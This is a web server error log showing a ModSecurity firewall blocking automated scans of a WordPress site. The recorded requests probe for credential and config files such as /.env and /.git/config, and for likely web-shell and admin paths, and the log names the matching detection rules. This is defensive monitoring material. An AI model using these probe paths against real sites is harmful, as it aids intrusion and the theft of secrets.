[Sat May 02 12:35:12.727586 2026] [:error] [pid 52012:tid 52079] [client 192.96.159.129:59784] [client 192.96.159.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "afV_AEzSWr-8cpS83mhWVwAAA0I"]
[Sun May 03 02:09:24.148056 2026] [:error] [pid 52124:tid 52138] [client 49.36.137.38:50900] [client 49.36.137.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.137.38, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "afY91DjabaZ9NMm8eQug8AAAA4k"]
[Sun May 03 02:09:24.164490 2026] [proxy_fcgi:error] [pid 52124:tid 52138] [client 49.36.137.38:50900] AH01071: Got error 'Primary script unknown'
[Sun May 03 04:06:09.105499 2026] [:error] [pid 40732:tid 40747] [client 34.162.148.216:60008] [client 34.162.148.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "afZZMf1lQrIvlEdzcVfoEAAAAMM"]
[Sun May 03 04:38:23.490635 2026] [:error] [pid 40639:tid 40706] [client 34.162.238.15:44782] [client 34.162.238.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "afZgv69rkyoICq7qxvFQmwAAAIU"]
[Sun May 03 05:01:23.965556 2026] [:error] [pid 40638:tid 40687] [client 185.198.240.102:27589] [client 185.198.240.102] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "afZmI_h3VcFjJ7H1mBahJgAAAE0"]
[Mon May 04 00:02:13.859481 2026] [:error] [pid 54535:tid 54557] [client 34.151.200.138:44832] [client 34.151.200.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "afdxhfRyz79iR-ntJRIQ8QAAAhQ"]
[Mon May 04 09:31:17.911217 2026] [proxy_fcgi:error] [pid 33186:tid 33203] [client 20.9.90.138:7276] AH01071: Got error 'Primary script unknown'
[Mon May 04 09:31:19.173735 2026] [:error] [pid 33186:tid 33200] [client 20.9.90.138:7276] [client 20.9.90.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwso.php"] [unique_id "aff257qlqe0DcmBS9VzflgAAAAs"]
[Mon May 04 09:31:19.992551 2026] [:error] [pid 11959:tid 12006] [client 20.9.90.138:7258] [client 20.9.90.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwso.php"] [unique_id "aff25wojk2nvxs7h5KvbWQAAANI"]
[Mon May 04 09:31:20.766460 2026] [:error] [pid 12022:tid 12026] [client 20.9.90.138:7260] [client 20.9.90.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwso.php"] [unique_id "aff26EVhgvCNKBWnaTI-fgAAAII"]
[Mon May 04 09:31:22.242718 2026] [:error] [pid 11958:tid 11967] [client 20.9.90.138:7560] [client 20.9.90.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwso.php"] [unique_id "aff26jAK_o2NLEdfAUk4jQAAAEY"]
[Mon May 04 10:50:17.694001 2026] [:error] [pid 12022:tid 12044] [client 209.50.177.141:52467] [client 209.50.177.141] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.agraphics.com.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.agraphics.com.au"] [uri "/s3cmd.ini"] [unique_id "afgJaUVhgvCNKBWnaTJWHgAAAJQ"]
[Mon May 04 15:45:06.587758 2026] [:error] [pid 61150:tid 61163] [client 136.107.232.91:64238] [client 136.107.232.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "afhOgu8QXWVLiwIGVpc8RAAAAUo"]
[Mon May 04 15:45:07.031253 2026] [:error] [pid 61043:tid 61075] [client 136.107.232.91:50042] [client 136.107.232.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "afhOg58-LwtfURjiAbBqdQAAAEA"]
[Mon May 04 17:05:03.417249 2026] [:error] [pid 61043:tid 61085] [client 209.141.33.127:50209] [client 209.141.33.127] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.33.127, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "afhhP58-LwtfURjiAbCNNwAAAEo"]
[Mon May 04 17:05:03.428600 2026] [proxy_fcgi:error] [pid 61043:tid 61085] [client 209.141.33.127:50209] AH01071: Got error 'Primary script unknown'
[Mon May 04 18:40:19.228486 2026] [:error] [pid 61150:tid 61161] [client 45.131.195.210:24389] [client 45.131.195.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "afh3k-8QXWVLiwIGVpdq-AAAAUg"]
[Mon May 04 20:24:07.851120 2026] [:error] [pid 61150:tid 61173] [client 34.24.211.32:54324] [client 34.24.211.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "afiP5-8QXWVLiwIGVpd_5AAAAVQ"]
[Mon May 04 22:55:51.314652 2026] [:error] [pid 61043:tid 61089] [client 34.61.182.234:50938] [client 34.61.182.234] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "afizd58-LwtfURjiAbDdiQAAAE4"]
[Mon May 04 23:31:58.987096 2026] [:error] [pid 61043:tid 61092] [client 77.38.104.186:63514] [client 77.38.104.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.38.104.186, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "afi77p8-LwtfURjiAbDlQwAAAFE"]
[Mon May 04 23:31:58.997490 2026] [proxy_fcgi:error] [pid 61043:tid 61092] [client 77.38.104.186:63514] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:51:25.529294 2026] [proxy_fcgi:error] [pid 3341:tid 3355] [client 4.204.197.96:43121] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:51:25.788778 2026] [proxy_fcgi:error] [pid 3341:tid 3359] [client 4.204.197.96:43121] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:51:26.016885 2026] [proxy_fcgi:error] [pid 3341:tid 3364] [client 4.204.197.96:43121] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:51:26.226152 2026] [proxy_fcgi:error] [pid 3341:tid 3362] [client 4.204.197.96:43121] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:51:26.453819 2026] [proxy_fcgi:error] [pid 3341:tid 3350] [client 4.204.197.96:43121] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:51:26.674184 2026] [proxy_fcgi:error] [pid 3341:tid 3352] [client 4.204.197.96:43121] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:51:26.900734 2026] [proxy_fcgi:error] [pid 3341:tid 3360] [client 4.204.197.96:43121] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:51:27.215812 2026] [proxy_fcgi:error] [pid 3341:tid 3347] [client 4.204.197.96:43121] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:51:27.446432 2026] [proxy_fcgi:error] [pid 3341:tid 3351] [client 4.204.197.96:43121] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:51:27.673338 2026] [proxy_fcgi:error] [pid 3341:tid 3346] [client 4.204.197.96:43121] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:51:27.888004 2026] [:error] [pid 3341:tid 3366] [client 4.204.197.96:43121] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "afjAf09o3_LordU0wW6eMQAAAJY"]
[Mon May 04 23:51:28.540106 2026] [:error] [pid 3341:tid 3359] [client 4.204.197.96:43107] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "afjAgE9o3_LordU0wW6eMgAAAI8"]
[Mon May 04 23:51:29.352698 2026] [:error] [pid 61150:tid 61165] [client 4.204.197.96:43124] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "afjAge8QXWVLiwIGVpeoVAAAAUw"]
[Mon May 04 23:51:30.013999 2026] [:error] [pid 61150:tid 61173] [client 4.204.197.96:43125] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "afjAgu8QXWVLiwIGVpeoVgAAAVQ"]
[Mon May 04 23:51:30.479206 2026] [:error] [pid 61150:tid 61157] [client 4.204.197.96:43130] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "afjAgu8QXWVLiwIGVpeoVwAAAUQ"]
[Mon May 04 23:51:31.014943 2026] [:error] [pid 32471:tid 32498] [client 4.204.197.96:43095] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "afjAg3mjpb9EYq6AqhKRsQAAARg"]
[Mon May 04 23:51:31.560298 2026] [:error] [pid 61044:tid 61118] [client 4.204.197.96:43102] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "afjAg0w8w2zZZXI6H1u5wwAAABA"]
[Mon May 04 23:51:32.132879 2026] [:error] [pid 3341:tid 3347] [client 4.204.197.96:43079] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "afjAhE9o3_LordU0wW6eNwAAAIM"]
[Mon May 04 23:51:32.858281 2026] [:error] [pid 61043:tid 61086] [client 4.204.197.96:43128] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "afjAhJ8-LwtfURjiAbDpewAAAEs"]
[Mon May 04 23:51:33.340299 2026] [:error] [pid 3341:tid 3362] [client 4.204.197.96:43087] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "afjAhU9o3_LordU0wW6eOwAAAJI"]
[Mon May 04 23:51:33.790435 2026] [:error] [pid 61043:tid 61081] [client 4.204.197.96:43092] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "afjAhZ8-LwtfURjiAbDpgAAAAEY"]
[Mon May 04 23:51:34.237484 2026] [:error] [pid 61043:tid 61077] [client 4.204.197.96:43114] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "afjAhp8-LwtfURjiAbDpgQAAAEI"]
[Mon May 04 23:51:34.871047 2026] [:error] [pid 61042:tid 61064] [client 4.204.197.96:43131] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gcqoa.php"] [unique_id "afjAhknAPPS1fjubA9RxcQAAANI"]
[Mon May 04 23:51:35.401691 2026] [:error] [pid 61150:tid 61168] [client 4.204.197.96:43076] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gcqoa.php"] [unique_id "afjAh-8QXWVLiwIGVpeoWwAAAU8"]
[Mon May 04 23:51:35.944143 2026] [:error] [pid 3341:tid 3345] [client 4.204.197.96:43105] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gcqoa.php"] [unique_id "afjAh09o3_LordU0wW6eQgAAAIE"]
[Mon May 04 23:51:36.543969 2026] [:error] [pid 61043:tid 61090] [client 4.204.197.96:43134] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gcqoa.php"] [unique_id "afjAiJ8-LwtfURjiAbDphAAAAE8"]
[Mon May 04 23:51:37.115203 2026] [:error] [pid 32471:tid 32497] [client 4.204.197.96:43014] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-editor.php"] [unique_id "afjAiXmjpb9EYq6AqhKRuwAAARc"]
[Mon May 04 23:51:38.042076 2026] [:error] [pid 61043:tid 61099] [client 4.204.197.96:43100] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-editor.php"] [unique_id "afjAip8-LwtfURjiAbDpiAAAAFg"]
[Mon May 04 23:51:38.649100 2026] [:error] [pid 61043:tid 61085] [client 4.204.197.96:43026] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-editor.php"] [unique_id "afjAip8-LwtfURjiAbDpigAAAEo"]
[Mon May 04 23:51:39.110828 2026] [:error] [pid 3341:tid 3358] [client 4.204.197.96:43012] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-editor.php"] [unique_id "afjAi09o3_LordU0wW6eQwAAAI4"]
[Mon May 04 23:51:39.844677 2026] [:error] [pid 61042:tid 61055] [client 4.204.197.96:43106] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-install.php"] [unique_id "afjAi0nAPPS1fjubA9RxcwAAAMk"]
[Mon May 04 23:51:40.339286 2026] [:error] [pid 61042:tid 61068] [client 4.204.197.96:43072] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-install.php"] [unique_id "afjAjEnAPPS1fjubA9RxdQAAANY"]
[Mon May 04 23:51:41.006834 2026] [:error] [pid 61043:tid 61096] [client 4.204.197.96:43044] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-install.php"] [unique_id "afjAjZ8-LwtfURjiAbDpjAAAAFU"]
[Mon May 04 23:51:41.791729 2026] [:error] [pid 61150:tid 61164] [client 4.204.197.96:43110] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-install.php"] [unique_id "afjAje8QXWVLiwIGVpeoZAAAAUs"]
[Mon May 04 23:51:42.392805 2026] [:error] [pid 61042:tid 61058] [client 4.204.197.96:43030] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/profile.php"] [unique_id "afjAjknAPPS1fjubA9RxdgAAAMw"]
[Mon May 04 23:51:43.477864 2026] [:error] [pid 3341:tid 3367] [client 4.204.197.96:43021] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/profile.php"] [unique_id "afjAj09o3_LordU0wW6eRAAAAJc"]
[Mon May 04 23:51:44.020940 2026] [:error] [pid 3341:tid 3344] [client 4.204.197.96:43126] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/profile.php"] [unique_id "afjAkE9o3_LordU0wW6eRwAAAIA"]
[Mon May 04 23:51:44.458791 2026] [:error] [pid 3341:tid 3357] [client 4.204.197.96:43129] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/profile.php"] [unique_id "afjAkE9o3_LordU0wW6eSwAAAI0"]
[Mon May 04 23:51:44.960158 2026] [:error] [pid 32471:tid 32492] [client 4.204.197.96:43127] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "afjAkHmjpb9EYq6AqhKRwwAAARI"]
[Mon May 04 23:51:45.438514 2026] [:error] [pid 3341:tid 3355] [client 4.204.197.96:43091] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "afjAkU9o3_LordU0wW6eTgAAAIs"]
[Mon May 04 23:51:45.922844 2026] [:error] [pid 3341:tid 3359] [client 4.204.197.96:43025] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "afjAkU9o3_LordU0wW6eUAAAAI8"]
[Mon May 04 23:51:46.400166 2026] [:error] [pid 61043:tid 61075] [client 4.204.197.96:43010] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "afjAkp8-LwtfURjiAbDplQAAAEA"]
[Mon May 04 23:51:46.878651 2026] [:error] [pid 3341:tid 3352] [client 4.204.197.96:43086] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "afjAkk9o3_LordU0wW6eVgAAAIg"]
[Mon May 04 23:51:47.458177 2026] [:error] [pid 3341:tid 3350] [client 4.204.197.96:43132] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "afjAk09o3_LordU0wW6eWAAAAIY"]
[Mon May 04 23:51:48.018357 2026] [:error] [pid 32471:tid 32498] [client 4.204.197.96:43056] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "afjAlHmjpb9EYq6AqhKRyQAAARg"]
